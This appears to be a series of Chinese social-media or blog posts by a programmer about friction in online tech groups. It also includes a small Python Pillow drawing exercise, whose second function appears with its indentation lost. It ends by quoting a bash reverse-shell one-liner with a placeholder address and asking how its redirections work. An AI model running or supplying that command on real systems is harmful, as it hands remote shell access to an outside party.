你是我的学姐，我就是你的学弟，长辈帮助晚辈，在自己的领域里天经地义。

上等讨论是交流观点，中等讨论是谈论事件，低等讨论是评判个人。
——浅谈价值表达

领英对行家的定义是，在自己的领域中，根据自身经验和知识，为他人答疑解惑，分享行业洞察，提供经验干货。简单来说，所谓的行家，就是善于思考，乐于发声的人。
——浅谈价值表达

我还记得，在肖战事件中，有位娱乐圈大腕曾经发话：
“某天一位当红流量明星来找我，希望我推荐他上欧美大音乐节和颁奖礼，我帮他推荐了，他问“我能帮你做什么？”我说“没有”。他说“那你为什么帮我？”我说我是江湖老腕儿，帮年轻人是分内之事，不需市恩市义。他问“腕儿和明星有啥区别？为啥腕儿能当那么久而明星三五年就过气了？”我说明星心里大约只想着自己和粉丝那一亩三分地，粉丝也觉得全行业都欠TA家明星的；腕儿心里爱江湖，希望大家都好，愿意为行业付出。他想了想说“好像是的”。我说希望你有一天能成为一个腕儿，心里不光有自己，也有行业和大家。你心里有江湖，江湖心里就会有你。不然流量明星就只能简称“流星”了。”

我当然知道那只是个称呼，但我从没感觉到大佬们对“菜鸡”有过一点关爱，哪怕是发个链接都太珍贵了。

有的时候突然从某处蹦出一个不常发言的大佬，指着我说：你太恶心了、你根本不尊重学术、你就是个分裂民科。
那你们的心里，又是否为自己的领域留下一个名叫热爱的位置呢？

小白的数目，实际上是由大佬的实际行动决定的。
如果你们不愿意改变，也请对他们不要那么反感。
#statement

当然，这里断言的有点过分
不过这句话其实也不无道理，因为每个人都有自己可做的——譬如在博文里多加几个 footnote、在日常讨论中对不懂名词/缩写的人多包容一下、在教学文章里先给个解法提纲和问题本身出现的缘由

在与部分群友（我就不想说是什么群了，再次强调，总是有人不能接受你，你也要容忍这种不能接受）的交流过程中

经常有人说我『对线』（低一级的互骂）

人和人之间的关系是相互的。
没有人给我扣帽子，我也不无端给别人扣帽子。
没有人首先不尊重我和我对某件事的评议，我也不无端和别人“对线”。

遇到什么争执，我一般都会先道歉。（到了另一边的嘴里，是否又会变成拼命洗白自己？）

你们能和人“对线”那么久依然保持相对客观、针对问题本身的言辞？
你们眼里的我到底是 duangsuse，还是镜子里的自己？

你们把一个人『不懂Python』当成梗来玩，是否考虑过在群里写代码、回答问题、分享解决方案的我的感受？
你们是否像这篇 C# 开发者写的文章里一样，是纯 Python 玩家？不能接受其他任何『语言』？
连一点消极观点都无法接受，如果不利用权限的话会怎么样？（或许，我又会被另一边代表所有群友，说是浪费别人的时间，有理有据、义正辞严）

群规里写得明明白白，“依法”到底还是依权限，我无所谓，Telegram 又不是你们开的。
少了一个人回复群成员的问题，是你们的损失，尽管一些人会一笑置之，哈。

真是在给自己招黑……
1. 截至现在，我已经被至少 4 人屏蔽了，加上 drakeet 有 5 人
幸好，这 4 人都不是我觉得很有能量的大佬（得罪地说，要不然也不会因为因为小摩擦屏蔽我啊x）
2. 之前一些伪·朋友 就会因这些非议更加疏离了，毕竟只要有负面评价，肯定或多或少产生怀疑
3. 自己变得奇怪了，就更容易遭致其他人的排斥，虽然看起来不是这样
4. 许多人的性格都是维护大体，所以他们眼里的我在那几个人的负面评价下是有明显过错的，比如“说话太‘冲’了”
5. 我希望拥有一些同道网友，可是我也不愿看见私下也委曲求全的言论
和我一样性格的人太少了，不知道会不会被委曲求全系朋友讨厌呢

多干实事，少生是非。

我们最后玩一会 #Python Pillow 吧。好久没涉足应用编程了。
结果我还觉得我太菜了，都不会了呢……

我们要生成一个 600x600 的 square，由两个子 square 构成： (left-top)s
1. (0, 0) (w/2, h)
2. (w/2, 0) - (w, h)

from PIL import Image, ImageDraw

def square(size, fill_a, fill_b, mode="RGB") -> Image:
  sq = Image.new(mode, size)
  draw = ImageDraw.Draw(sq)
  (w, h) = size
  for (i, xy) in enumerate([ [(0,0), (w//2, h)], [(w//2, 0), (w, h)] ]):
    draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
  return sq

不过 ImageDraw.rectangle 的 width 参数有点奇怪，以为有配套 height 参数呢，没想到只是 line width 🤔
感觉其实 thickness 和 line_width 都是好名字

magic_comb = square((600,600), "#66ccff", "#ee0000")
magic_comb.show() #先看一看再存
magic_comb.save("magic_comb.png")

最后，这只是用 Python 的一个示例，Java 也可以用 javap java.awt.image.BufferedImage 的 set/get RGB 和 java.awt.Graphics 做的

太瞎眼我就不 send as photo 了

所以问题弄久了终究还是抽象问题 🤔
我不擅长 #parallelism ，但既有一般的编程实践和文档查找能力，对抽象的掌控也是还行的

所以，大家可以试着利用浮点系数对这个程序进行泛化：

def wall_2square(size, fill_a, fill_b, mode="RGB", ratio_a=0.5) -> Image:
sq = Image.new(mode, size)
draw = ImageDraw.Draw(sq)
(w, h) = size
x_astop = w * ratio_a
for (i, xy) in enumerate([ [(0,0), (x_astop, h)], [(x_astop, 0), (w, h)] ]):
draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
return sq

说白了，整个绘制程序都是在 ImageDraw 上的，但 Python 没有扩展函数……

那就到此为止吧。 练习：试着把 wall_2square 做成工具绘制函数的形式

#zhihu #ponetic #Learn

在我看来录「我是傻逼」，然后倒放一遍 speech recog. 就可以了

好 sticker，收下了

ng 变声母 gn 的那个有意思
声调阳平/去声也好反向嘛
特殊规则用 regex 替换
可以写个 translate 程序？

如果鲁迅先生学面向对象，他一定害的所有方法都成 protected （

你要用x.op()，x属于A，你就是要用A的方法。既然用A的方法，你属于A，就是说也要用你的方法。而你只驱使x去做op()，则竟无自知之明，你的话还有什么价值？

*注：protected 方法内部可以访问同一类实例的 protected 方法

0>&1 是 stdin->shell stdout 的意思？🤔
>& 又是何种重定向……（直觉是默认0）

bash -i >& /dev/tcp/ip/2333 0>&1 这个语句的-i >& 和0>&1 怎么理解。只能看懂是执行了一次tcp连接。